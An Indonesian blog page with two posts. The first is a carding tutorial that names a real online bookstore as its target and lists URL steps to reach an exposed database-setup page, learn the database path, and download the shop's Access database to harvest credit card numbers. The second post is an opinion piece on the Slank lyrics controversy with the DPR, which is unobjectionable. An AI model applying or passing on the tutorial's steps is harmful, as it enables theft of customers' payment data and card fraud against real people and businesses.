Curi database suatu situs

Minggu, 15 April 2012

Bagi yang ingin melakukan carding tentunya harus memiliki no akun kartu kredit korban. Untuk mendapatkannya salah satunya adalah mencuri database suatu situs belanja online. Berikut adalah langkah-langkah nya :

Sebagai target kita ini adalah : http://www.marktwainbooks.com

1. buka http://www.marktwainbooks.com

2. Masukkan file ini di belakang situs tadi :

admin/dbsetup.asp

akan menjadi http://www.marktwainbooks.com/admin/dbsetup.asp

3. Maka yang keluar di situs target adalah :

Your Database Type :

Microsoft Access

Your Connection String :

Driver={Microsoft Access Driver (*.mdb)}; DBQ=d:\inetpub\marktwainbooks\data\pdshoppro.mdb; << Lokasi letak database nya

Current Status :

Connection to Database OK.

Database Primary ’setup’ Table Found!

Database permissions OK!

4. Skrg utk mendownload file pdshoppro.mdb dapat dilakukan dgn merubah url/browsing nya menjadi :

http://www.marktwainbooks.com/data/pdshoppro.mdb

5. Kalo sudah di download, buka file pdshoppro.mdb dgn Microsoft Access.

Langkah – langkah diatas merupakan salah satu cara mencuri database dari suatu situs, masih banyak cara untuk memperoleh database dari suatu situs. Ingat resiko ditanggung sendiri dan bukan menjadi tanggung jawab penulis.

Semoga berguna Share

Kontroversi seputar “Gosip Jalanan” yang membuat gempar anggota DPR

Pernah kah lo denger mafia judi

Katanya banyak uang suap polisi

Tentara jadi pengawal pribadi


Apa lo tau mafia narkoba

Keluar masuk jadi bandar di penjara

Terhukum mati tapi bisa ditunda


Siapa yang tau mafia selangkangan

Tempatnya lendir-lendir berceceran

Uang jutaan bisa dapat perawan

Kacau balau ... Kacau balau negaraku ini ...


Ada yang tau mafia peradilan

Tangan kanan hukum di kiri pidana

Dikasih uang habis perkara


Apa bener ada mafia pemilu

Entah gaptek apa manipulasi data

Ujungnya beli suara rakyat


Mau tau gak mafia di senayan

Kerjanya tukang buat peraturan

Bikin UUD ujung-ujungnya duit


Pernahkah gak denger teriakan Allahu Akbar

Pake peci tapi kelakuan barbar

Ngerusakin bar orang ditampar-tampar


Inilah lirik lagu khas Slank yang mampu membuat merah telinga dan panas hati para anggota dewan yang terhormat, sehingga dirasa perlu menyediakan waktu khusus membahas lirik lagu tersebut. Lagu tersebut dinyanyikan Slank pada acara KPK (Komisi Pemberantasan Korupsi) yang tak disangka berbuntut panjang dan jadi headline berita beberapa hari ini. Membuahkan beribu opini yang berkembang di masyarakat.

Sejatinya lirik tersebut hanya merupakan ungkapan hati seniman dalam menyuarakan sebuah kejujuran, realitas, rumor yang ada di masyarakat. Slank memang cukup dikenal sebagai grup yang memiliki idealisme tinggi menyuarakan apa yang sepatutnya disuarakan, menyoroti masalah-masalah social di Indonesia, bukan sekedar menyanyikan lagu cinta saja.

Jika kita perhatikan, bukan hanya anggota DPR saja yang disorot dan “disentil” dalam lagu tersebut, tapi juga institusi dan kelompok tertentu juga disinggung. Tapi kenapa kok yang lantang berkoar-koar adalah anggota DPR. Mengatakan lirik tersebut tidak santun, kurang beradab, menjatuhkan nama baik atau apapun namanya. Apa tidak ada masalah krusial lain yang lebih penting dibahas daripada mempersoalkan lirik lagu? Masalah kelaparan yang melanda sebagian rakyat Indonesia, harga kebutuhan pokok yang tidak kunjung turun, sekolah-sekolah di daerah terpencil yang hancur, pembalakan liar, perdagangan manusia, dan segudang masalah lain yang seharusnya lebih penting untuk dipecahkan dan dicari solusinya. Apakah karena harga diri para anggota dewan yang terhormat kali ini diposisikan rendah?

Rakyat kita bukan orang yang bodoh, kita semua bisa menilai mana yang benar mana yang salah. Bisa ditebak, Slank tidak akan gentar karena Slank telah menyuarakan apa isi hati rakyat. Semua sudah muak dengan keadaan yang ada. Tidaklah cukup sindiran Iwan Fals, Franky sahilatua…semua cuma numpang lewat saja. Ini fenomena di negara ini, masalah kecil diblow up menjadi besar dan dituntaskan dengan cepat, tapi masalah-masalah penting tak kunjung ada penyelesaian, terkatung-katung tanpa batas waktu. Tengok saja kasus Lumpur Lapindo, yang menimbulkan banyak korban.

Simple saja buat saya, kalo ngga mau disindir buktikan donk pada rakyat bahwa itu bukan citra sesungguhnya dari para wakil rakyat. Entah kebetulan atau tidak, tak lama DPR heboh tentang lirik lagu tersebut, ada seorang anggota DPR dari Fraksi PPP yang tertangkap tangan di sebuah hotel di bilangan Jakarta Selatan. Al Amin Nasution yang juga suami artis dangdut Kristina kini statusnya resmi tersangka kasus penyuapan. Ini sebuah bukti nyata bahwa lirik lagu Slank tersebut bukan mengada-ada. Kini kontroversi itu terus bergulir, entah ke ranah mana akan dibawa. Ke wilayah hukum sebagaimana yang digembar-gemborkan DPR atau justru DPR mundur teratur mengingat rakyat lebih memihak Slank. Apapun pembelaan yang dilontarkan para anggota dewan yang kebakaran jenggot, fakta dilapangan berbicara sebaliknya.Memang tidak seluruhnya anggota DPR antipati terhadap lirik lagu Slank, banyak juga yang memilih diam dan introspeksi diri. Itulah sejatinya yang harus dilakukan oleh elit politik negeri ini. Ternyata perkembangan terbaru dari kasus ini, selang sehari penangkapan Amin Nasution, Badan Kehormatan DPR memilih tidak melanjutkan gugatan pada Slank. Merasa malu atau karena hal lain??? Hanya mereka yang tahu. Share

>